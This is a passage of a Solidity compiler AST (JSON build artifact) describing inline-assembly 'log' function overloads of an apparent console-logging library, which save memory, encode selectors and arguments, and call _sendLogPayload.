},"visibility":"internal"}],"id":35423,"nodeType":"VariableDeclarationStatement","src":"52249:10:22"},{"assignments":[35425],"declarations":[{"constant":false,"id":35425,"mutability":"mutable","name":"m3","nameLocation":"52277:2:22","nodeType":"VariableDeclaration","scope":35434,"src":"52269:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35424,"name":"bytes32","nodeType":"ElementaryTypeName","src":"52269:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35426,"nodeType":"VariableDeclarationStatement","src":"52269:10:22"},{"AST":{"nativeSrc":"52298:311:22","nodeType":"YulBlock","src":"52298:311:22","statements":[{"nativeSrc":"52312:17:22","nodeType":"YulAssignment","src":"52312:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"52324:4:22","nodeType":"YulLiteral","src":"52324:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"52318:5:22","nodeType":"YulIdentifier","src":"52318:5:22"},"nativeSrc":"52318:11:22","nodeType":"YulFunctionCall","src":"52318:11:22"},"variableNames":[{"name":"m0","nativeSrc":"52312:2:22","nodeType":"YulIdentifier","src":"52312:2:22"}]},{"nativeSrc":"52342:17:22","nodeType":"YulAssignment","src":"52342:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"52354:4:22","nodeType":"YulLiteral","src":"52354:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"52348:5:22","nodeType":"YulIdentifier","src":"52348:5:22"},"nativeSrc":"52348:11:22","nodeType":"YulFunctionCall","src":"52348:11:22"},"variableNames":[{"name":"m1","nativeSrc":"52342:2:22","nodeType":"YulIdentifier","src":"52342:2:22"}]},{"nativeSrc":"52372:17:22","nodeType":"YulAssignment","src":"52372:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"52384:4:22","nodeType":"YulLiteral","src":"52384:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"52378:5:22","nodeType":"YulIdentifier","src":"52378:5:22"},"nativeSrc":"52378:11:22","nodeType":"YulFunctionCall","src":"52378:11:22"},"variableNames":[{"name":"m2","nativeSrc":"52372:2:22","nodeType":"YulIdentifier","src":"52372:2:22"}]},{"nativeSrc":"52402:17:22","nodeType":"YulAssignment","src":"52402:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"52414:4:22","nodeType":"YulLiteral","src":"52414:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"52408:5:22","nodeType":"YulIdentifier","src":"52408:5:22"},"nativeSrc":"52408:11:22","nodeType":"YulFunctionCall","src":"52408:11:22"},"variableNames":[{"name":"m3","nativeSrc":"52402:2:22","nodeType":"YulIdentifier","src":"52402:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"52495:4:22","nodeType":"YulLiteral","src":"52495:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"52501:10:22","nodeType":"YulLiteral","src":"52501:10:22","type":"","value":"0x20098014"}],"functionName":{"name":"mstore","nativeSrc":"52488:6:22","nodeType":"YulIdentifier","src":"52488:6:22"},"nativeSrc":"52488:24:22","nodeType":"YulFunctionCall","src":"52488:24:22"},"nativeSrc":"52488:24:22","nodeType":"YulExpressionStatement","src":"52488:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"52532:4:22","nodeType":"YulLiteral","src":"52532:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"52538:2:22","nodeType":"YulIdentifier","src":"52538:2:22"}],"functionName":{"name":"mstore","nativeSrc":"52525:6:22","nodeType":"YulIdentifier","src":"52525:6:22"},"nativeSrc":"52525:16:22","nodeType":"YulFunctionCall","src":"52525:16:22"},"nativeSrc":"52525:16:22","nodeType":"YulExpressionStatement","src":"52525:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"52561:4:22","nodeType":"YulLiteral","src":"52561:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"52567:2:22","nodeType":"YulIdentifier","src":"52567:2:22"}],"functionName":{"name":"mstore","nativeSrc":"52554:6:22","nodeType":"YulIdentifier","src":"52554:6:22"},"nativeSrc":"52554:16:22","nodeType":"YulFunctionCall","src":"52554:16:22"},"nativeSrc":"52554:16:22","nodeType":"YulExpressionStatement","src":"52554:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"52590:4:22","nodeType":"YulLiteral","src":"52590:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"52596:2:22","nodeType":"YulIdentifier","src":"52596:2:22"}],"functionName":{"name":"mstore","nativeSrc":"52583:6:22","nodeType":"YulIdentifier","src":"52583:6:22"},"nativeSrc":"52583:16:22","nodeType":"YulFunctionCall","src":"52583:16:22"},"nativeSrc":"52583:16:22","nodeType":"YulExpressionStatement","src":"52583:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35416,"isOffset":false,"isSlot":false,"src":"52312:2:22","valueSize":1},{"declaration":35419,"isOffset":false,"isSlot":false,"src":"52342:2:22","valueSize":1},{"declaration":35422,"isOffset":false,"isSlot":false,"src":"52372:2:22","valueSize":1},{"declaration":35425,"isOffset":false,"isSlot":false,"src":"52402:2:22","valueSize":1},{"declaration":35408,"isOffset":false,"isSlot":false,"src":"52538:2:22","valueSize":1},{"declaration":35410,"isOffset":false,"isSlot":false,"src":"52567:2:22","valueSize":1},{"declaration":35412,"isOffset":false,"isSlot":false,"src":"52596:2:22","valueSize":1}],"id":35427,"nodeType":"InlineAssembly","src":"52289:320:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35429,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"52634:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":35430,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"52640:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":35428,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"52618:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35431,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"52618:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35432,"nodeType":"ExpressionStatement","src":"52618:27:22"},{"AST":{"nativeSrc":"52664:127:22","nodeType":"YulBlock","src":"52664:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"52685:4:22","nodeType":"YulLiteral","src":"52685:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"52691:2:22","nodeType":"YulIdentifier","src":"52691:2:22"}],"functionName":{"name":"mstore","nativeSrc":"52678:6:22","nodeType":"YulIdentifier","src":"52678:6:22"},"nativeSrc":"52678:16:22","nodeType":"YulFunctionCall","src":"52678:16:22"},"nativeSrc":"52678:16:22","nodeType":"YulExpressionStatement","src":"52678:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"52714:4:22","nodeType":"YulLiteral","src":"52714:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"52720:2:22","nodeType":"YulIdentifier","src":"52720:2:22"}],"functionName":{"name":"mstore","nativeSrc":"52707:6:22","nodeType":"YulIdentifier","src":"52707:6:22"},"nativeSrc":"52707:16:22","nodeType":"YulFunctionCall","src":"52707:16:22"},"nativeSrc":"52707:16:22","nodeType":"YulExpressionStatement","src":"52707:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"52743:4:22","nodeType":"YulLiteral","src":"52743:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"52749:2:22","nodeType":"YulIdentifier","src":"52749:2:22"}],"functionName":{"name":"mstore","nativeSrc":"52736:6:22","nodeType":"YulIdentifier","src":"52736:6:22"},"nativeSrc":"52736:16:22","nodeType":"YulFunctionCall","src":"52736:16:22"},"nativeSrc":"52736:16:22","nodeType":"YulExpressionStatement","src":"52736:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"52772:4:22","nodeType":"YulLiteral","src":"52772:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"52778:2:22","nodeType":"YulIdentifier","src":"52778:2:22"}],"functionName":{"name":"mstore","nativeSrc":"52765:6:22","nodeType":"YulIdentifier","src":"52765:6:22"},"nativeSrc":"52765:16:22","nodeType":"YulFunctionCall","src":"52765:16:22"},"nativeSrc":"52765:16:22","nodeType":"YulExpressionStatement","src":"52765:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35416,"isOffset":false,"isSlot":false,"src":"52691:2:22","valueSize":1},{"declaration":35419,"isOffset":false,"isSlot":false,"src":"52720:2:22","valueSize":1},{"declaration":35422,"isOffset":false,"isSlot":false,"src":"52749:2:22","valueSize":1},{"declaration":35425,"isOffset":false,"isSlot":false,"src":"52778:2:22","valueSize":1}],"id":35433,"nodeType":"InlineAssembly","src":"52655:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"52148:3:22","parameters":{"id":35413,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35408,"mutability":"mutable","name":"p0","nameLocation":"52160:2:22","nodeType":"VariableDeclaration","scope":35435,"src":"52152:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35407,"name":"uint256","nodeType":"ElementaryTypeName","src":"52152:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":35410,"mutability":"mutable","name":"p1","nameLocation":"52169:2:22","nodeType":"VariableDeclaration","scope":35435,"src":"52164:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":35409,"name":"bool","nodeType":"ElementaryTypeName","src":"52164:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":35412,"mutability":"mutable","name":"p2","nameLocation":"52181:2:22","nodeType":"VariableDeclaration","scope":35435,"src":"52173:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35411,"name":"uint256","nodeType":"ElementaryTypeName","src":"52173:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"52151:33:22"},"returnParameters":{"id":35414,"nodeType":"ParameterList","parameters":[],"src":"52199:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35470,"nodeType":"FunctionDefinition","src":"52803:1206:22","nodes":[],"body":{"id":35469,"nodeType":"Block","src":"52863:1146:22","nodes":[],"statements":[{"assignments":[35445],"declarations":[{"constant":false,"id":35445,"mutability":"mutable","name":"m0","nameLocation":"52881:2:22","nodeType":"VariableDeclaration","scope":35469,"src":"52873:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35444,"name":"bytes32","nodeType":"ElementaryTypeName","src":"52873:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35446,"nodeType":"VariableDeclarationStatement","src":"52873:10:22"},{"assignments":[35448],"declarations":[{"constant":false,"id":35448,"mutability":"mutable","name":"m1","nameLocation":"52901:2:22","nodeType":"VariableDeclaration","scope":35469,"src":"52893:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35447,"name":"bytes32","nodeType":"ElementaryTypeName","src":"52893:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35449,"nodeType":"VariableDeclarationStatement","src":"52893:10:22"},{"assignments":[35451],"declarations":[{"constant":false,"id":35451,"mutability":"mutable","name":"m2","nameLocation":"52921:2:22","nodeType":"VariableDeclaration","scope":35469,"src":"52913:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35450,"name":"bytes32","nodeType":"ElementaryTypeName","src":"52913:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35452,"nodeType":"VariableDeclarationStatement","src":"52913:10:22"},{"assignments":[35454],"declarations":[{"constant":false,"id":35454,"mutability":"mutable","name":"m3","nameLocation":"52941:2:22","nodeType":"VariableDeclaration","scope":35469,"src":"52933:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35453,"name":"bytes32","nodeType":"ElementaryTypeName","src":"52933:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35455,"nodeType":"VariableDeclarationStatement","src":"52933:10:22"},{"assignments":[35457],"declarations":[{"constant":false,"id":35457,"mutability":"mutable","name":"m4","nameLocation":"52961:2:22","nodeType":"VariableDeclaration","scope":35469,"src":"52953:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35456,"name":"bytes32","nodeType":"ElementaryTypeName","src":"52953:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35458,"nodeType":"VariableDeclarationStatement","src":"52953:10:22"},{"assignments":[35460],"declarations":[{"constant":false,"id":35460,"mutability":"mutable","name":"m5","nameLocation":"52981:2:22","nodeType":"VariableDeclaration","scope":35469,"src":"52973:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35459,"name":"bytes32","nodeType":"ElementaryTypeName","src":"52973:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35461,"nodeType":"VariableDeclarationStatement","src":"52973:10:22"},{"AST":{"nativeSrc":"53002:761:22","nodeType":"YulBlock","src":"53002:761:22","statements":[{"body":{"nativeSrc":"53045:313:22","nodeType":"YulBlock","src":"53045:313:22","statements":[{"nativeSrc":"53063:15:22","nodeType":"YulVariableDeclaration","src":"53063:15:22","value":{"kind":"number","nativeSrc":"53077:1:22","nodeType":"YulLiteral","src":"53077:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"53067:6:22","nodeType":"YulTypedName","src":"53067:6:22","type":""}]},{"body":{"nativeSrc":"53148:40:22","nodeType":"YulBlock","src":"53148:40:22","statements":[{"body":{"nativeSrc":"53177:9:22","nodeType":"YulBlock","src":"53177:9:22","statements":[{"nativeSrc":"53179:5:22","nodeType":"YulBreak","src":"53179:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"53165:6:22","nodeType":"YulIdentifier","src":"53165:6:22"},{"name":"w","nativeSrc":"53173:1:22","nodeType":"YulIdentifier","src":"53173:1:22"}],"functionName":{"name":"byte","nativeSrc":"53160:4:22","nodeType":"YulIdentifier","src":"53160:4:22"},"nativeSrc":"53160:15:22","nodeType":"YulFunctionCall","src":"53160:15:22"}],"functionName":{"name":"iszero","nativeSrc":"53153:6:22","nodeType":"YulIdentifier","src":"53153:6:22"},"nativeSrc":"53153:23:22","nodeType":"YulFunctionCall","src":"53153:23:22"},"nativeSrc":"53150:36:22","nodeType":"YulIf","src":"53150:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"53105:6:22","nodeType":"YulIdentifier","src":"53105:6:22"},{"kind":"number","nativeSrc":"53113:4:22","nodeType":"YulLiteral","src":"53113:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"53102:2:22","nodeType":"YulIdentifier","src":"53102:2:22"},"nativeSrc":"53102:16:22","nodeType":"YulFunctionCall","src":"53102:16:22"},"nativeSrc":"53095:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"53119:28:22","nodeType":"YulBlock","src":"53119:28:22","statements":[{"nativeSrc":"53121:24:22","nodeType":"YulAssignment","src":"53121:24:22","value":{"arguments":[{"name":"length","nativeSrc":"53135:6:22","nodeType":"YulIdentifier","src":"53135:6:22"},{"kind":"number","nativeSrc":"53143:1:22","nodeType":"YulLiteral","src":"53143:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"53131:3:22","nodeType":"YulIdentifier","src":"53131:3:22"},"nativeSrc":"53131:14:22","nodeType":"YulFunctionCall","src":"53131:14:22"},"variableNames":[{"name":"length","nativeSrc":"53121:6:22","nodeType":"YulIdentifier","src":"53121:6:22"}]}]},"pre":{"nativeSrc":"53099:2:22","nodeType":"YulBlock","src":"53099:2:22","statements":[]},"src":"53095:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"53212:3:22","nodeType":"YulIdentifier","src":"53212:3:22"},{"name":"length","nativeSrc":"53217:6:22","nodeType":"YulIdentifier","src":"53217:6:22"}],"functionName":{"name":"mstore","nativeSrc":"53205:6:22","nodeType":"YulIdentifier","src":"53205:6:22"},"nativeSrc":"53205:19:22","nodeType":"YulFunctionCall","src":"53205:19:22"},"nativeSrc":"53205:19:22","nodeType":"YulExpressionStatement","src":"53205:19:22"},{"nativeSrc":"53241:37:22","nodeType":"YulVariableDeclaration","src":"53241:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"53258:3:22","nodeType":"YulLiteral","src":"53258:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"53267:1:22","nodeType":"YulLiteral","src":"53267:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"53270:6:22","nodeType":"YulIdentifier","src":"53270:6:22"}],"functionName":{"name":"shl","nativeSrc":"53263:3:22","nodeType":"YulIdentifier","src":"53263:3:22"},"nativeSrc":"53263:14:22","nodeType":"YulFunctionCall","src":"53263:14:22"}],"functionName":{"name":"sub","nativeSrc":"53254:3:22","nodeType":"YulIdentifier","src":"53254:3:22"},"nativeSrc":"53254:24:22","nodeType":"YulFunctionCall","src":"53254:24:22"},"variables":[{"name":"shift","nativeSrc":"53245:5:22","nodeType":"YulTypedName","src":"53245:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"53306:3:22","nodeType":"YulIdentifier","src":"53306:3:22"},{"kind":"number","nativeSrc":"53311:4:22","nodeType":"YulLiteral","src":"53311:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"53302:3:22","nodeType":"YulIdentifier","src":"53302:3:22"},"nativeSrc":"53302:14:22","nodeType":"YulFunctionCall","src":"53302:14:22"},{"arguments":[{"name":"shift","nativeSrc":"53322:5:22","nodeType":"YulIdentifier","src":"53322:5:22"},{"arguments":[{"name":"shift","nativeSrc":"53333:5:22","nodeType":"YulIdentifier","src":"53333:5:22"},{"name":"w","nativeSrc":"53340:1:22","nodeType":"YulIdentifier","src":"53340:1:22"}],"functionName":{"name":"shr","nativeSrc":"53329:3:22","nodeType":"YulIdentifier","src":"53329:3:22"},"nativeSrc":"53329:13:22","nodeType":"YulFunctionCall","src":"53329:13:22"}],"functionName":{"name":"shl","nativeSrc":"53318:3:22","nodeType":"YulIdentifier","src":"53318:3:22"},"nativeSrc":"53318:25:22","nodeType":"YulFunctionCall","src":"53318:25:22"}],"functionName":{"name":"mstore","nativeSrc":"53295:6:22","nodeType":"YulIdentifier","src":"53295:6:22"},"nativeSrc":"53295:49:22","nodeType":"YulFunctionCall","src":"53295:49:22"},"nativeSrc":"53295:49:22","nodeType":"YulExpressionStatement","src":"53295:49:22"}]},"name":"writeString","nativeSrc":"53016:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"53037:3:22","nodeType":"YulTypedName","src":"53037:3:22","type":""},{"name":"w","nativeSrc":"53042:1:22","nodeType":"YulTypedName","src":"53042:1:22","type":""}],"src":"53016:342:22"},{"nativeSrc":"53371:17:22","nodeType":"YulAssignment","src":"53371:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"53383:4:22","nodeType":"YulLiteral","src":"53383:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"53377:5:22","nodeType":"YulIdentifier","src":"53377:5:22"},"nativeSrc":"53377:11:22","nodeType":"YulFunctionCall","src":"53377:11:22"},"variableNames":[{"name":"m0","nativeSrc":"53371:2:22","nodeType":"YulIdentifier","src":"53371:2:22"}]},{"nativeSrc":"53401:17:22","nodeType":"YulAssignment","src":"53401:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"53413:4:22","nodeType":"YulLiteral","src":"53413:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"53407:5:22","nodeType":"YulIdentifier","src":"53407:5:22"},"nativeSrc":"53407:11:22","nodeType":"YulFunctionCall","src":"53407:11:22"},"variableNames":[{"name":"m1","nativeSrc":"53401:2:22","nodeType":"YulIdentifier","src":"53401:2:22"}]},{"nativeSrc":"53431:17:22","nodeType":"YulAssignment","src":"53431:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"53443:4:22","nodeType":"YulLiteral","src":"53443:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"53437:5:22","nodeType":"YulIdentifier","src":"53437:5:22"},"nativeSrc":"53437:11:22","nodeType":"YulFunctionCall","src":"53437:11:22"},"variableNames":[{"name":"m2","nativeSrc":"53431:2:22","nodeType":"YulIdentifier","src":"53431:2:22"}]},{"nativeSrc":"53461:17:22","nodeType":"YulAssignment","src":"53461:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"53473:4:22","nodeType":"YulLiteral","src":"53473:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"53467:5:22","nodeType":"YulIdentifier","src":"53467:5:22"},"nativeSrc":"53467:11:22","nodeType":"YulFunctionCall","src":"53467:11:22"},"variableNames":[{"name":"m3","nativeSrc":"53461:2:22","nodeType":"YulIdentifier","src":"53461:2:22"}]},{"nativeSrc":"53491:17:22","nodeType":"YulAssignment","src":"53491:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"53503:4:22","nodeType":"YulLiteral","src":"53503:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"53497:5:22","nodeType":"YulIdentifier","src":"53497:5:22"},"nativeSrc":"53497:11:22","nodeType":"YulFunctionCall","src":"53497:11:22"},"variableNames":[{"name":"m4","nativeSrc":"53491:2:22","nodeType":"YulIdentifier","src":"53491:2:22"}]},{"nativeSrc":"53521:17:22","nodeType":"YulAssignment","src":"53521:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"53533:4:22","nodeType":"YulLiteral","src":"53533:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"53527:5:22","nodeType":"YulIdentifier","src":"53527:5:22"},"nativeSrc":"53527:11:22","nodeType":"YulFunctionCall","src":"53527:11:22"},"variableNames":[{"name":"m5","nativeSrc":"53521:2:22","nodeType":"YulIdentifier","src":"53521:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"53613:4:22","nodeType":"YulLiteral","src":"53613:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"53619:10:22","nodeType":"YulLiteral","src":"53619:10:22","type":"","value":"0x85775021"}],"functionName":{"name":"mstore","nativeSrc":"53606:6:22","nodeType":"YulIdentifier","src":"53606:6:22"},"nativeSrc":"53606:24:22","nodeType":"YulFunctionCall","src":"53606:24:22"},"nativeSrc":"53606:24:22","nodeType":"YulExpressionStatement","src":"53606:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"53650:4:22","nodeType":"YulLiteral","src":"53650:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"53656:2:22","nodeType":"YulIdentifier","src":"53656:2:22"}],"functionName":{"name":"mstore","nativeSrc":"53643:6:22","nodeType":"YulIdentifier","src":"53643:6:22"},"nativeSrc":"53643:16:22","nodeType":"YulFunctionCall","src":"53643:16:22"},"nativeSrc":"53643:16:22","nodeType":"YulExpressionStatement","src":"53643:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"53679:4:22","nodeType":"YulLiteral","src":"53679:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"53685:2:22","nodeType":"YulIdentifier","src":"53685:2:22"}],"functionName":{"name":"mstore","nativeSrc":"53672:6:22","nodeType":"YulIdentifier","src":"53672:6:22"},"nativeSrc":"53672:16:22","nodeType":"YulFunctionCall","src":"53672:16:22"},"nativeSrc":"53672:16:22","nodeType":"YulExpressionStatement","src":"53672:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"53708:4:22","nodeType":"YulLiteral","src":"53708:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"53714:4:22","nodeType":"YulLiteral","src":"53714:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"53701:6:22","nodeType":"YulIdentifier","src":"53701:6:22"},"nativeSrc":"53701:18:22","nodeType":"YulFunctionCall","src":"53701:18:22"},"nativeSrc":"53701:18:22","nodeType":"YulExpressionStatement","src":"53701:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"53744:4:22","nodeType":"YulLiteral","src":"53744:4:22","type":"","value":"0x80"},{"name":"p2","nativeSrc":"53750:2:22","nodeType":"YulIdentifier","src":"53750:2:22"}],"functionName":{"name":"writeString","nativeSrc":"53732:11:22","nodeType":"YulIdentifier","src":"53732:11:22"},"nativeSrc":"53732:21:22","nodeType":"YulFunctionCall","src":"53732:21:22"},"nativeSrc":"53732:21:22","nodeType":"YulExpressionStatement","src":"53732:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35445,"isOffset":false,"isSlot":false,"src":"53371:2:22","valueSize":1},{"declaration":35448,"isOffset":false,"isSlot":false,"src":"53401:2:22","valueSize":1},{"declaration":35451,"isOffset":false,"isSlot":false,"src":"53431:2:22","valueSize":1},{"declaration":35454,"isOffset":false,"isSlot":false,"src":"53461:2:22","valueSize":1},{"declaration":35457,"isOffset":false,"isSlot":false,"src":"53491:2:22","valueSize":1},{"declaration":35460,"isOffset":false,"isSlot":false,"src":"53521:2:22","valueSize":1},{"declaration":35437,"isOffset":false,"isSlot":false,"src":"53656:2:22","valueSize":1},{"declaration":35439,"isOffset":false,"isSlot":false,"src":"53685:2:22","valueSize":1},{"declaration":35441,"isOffset":false,"isSlot":false,"src":"53750:2:22","valueSize":1}],"id":35462,"nodeType":"InlineAssembly","src":"52993:770:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35464,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"53788:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":35465,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"53794:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":35463,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"53772:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35466,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"53772:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35467,"nodeType":"ExpressionStatement","src":"53772:27:22"},{"AST":{"nativeSrc":"53818:185:22","nodeType":"YulBlock","src":"53818:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"53839:4:22","nodeType":"YulLiteral","src":"53839:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"53845:2:22","nodeType":"YulIdentifier","src":"53845:2:22"}],"functionName":{"name":"mstore","nativeSrc":"53832:6:22","nodeType":"YulIdentifier","src":"53832:6:22"},"nativeSrc":"53832:16:22","nodeType":"YulFunctionCall","src":"53832:16:22"},"nativeSrc":"53832:16:22","nodeType":"YulExpressionStatement","src":"53832:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"53868:4:22","nodeType":"YulLiteral","src":"53868:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"53874:2:22","nodeType":"YulIdentifier","src":"53874:2:22"}],"functionName":{"name":"mstore","nativeSrc":"53861:6:22","nodeType":"YulIdentifier","src":"53861:6:22"},"nativeSrc":"53861:16:22","nodeType":"YulFunctionCall","src":"53861:16:22"},"nativeSrc":"53861:16:22","nodeType":"YulExpressionStatement","src":"53861:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"53897:4:22","nodeType":"YulLiteral","src":"53897:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"53903:2:22","nodeType":"YulIdentifier","src":"53903:2:22"}],"functionName":{"name":"mstore","nativeSrc":"53890:6:2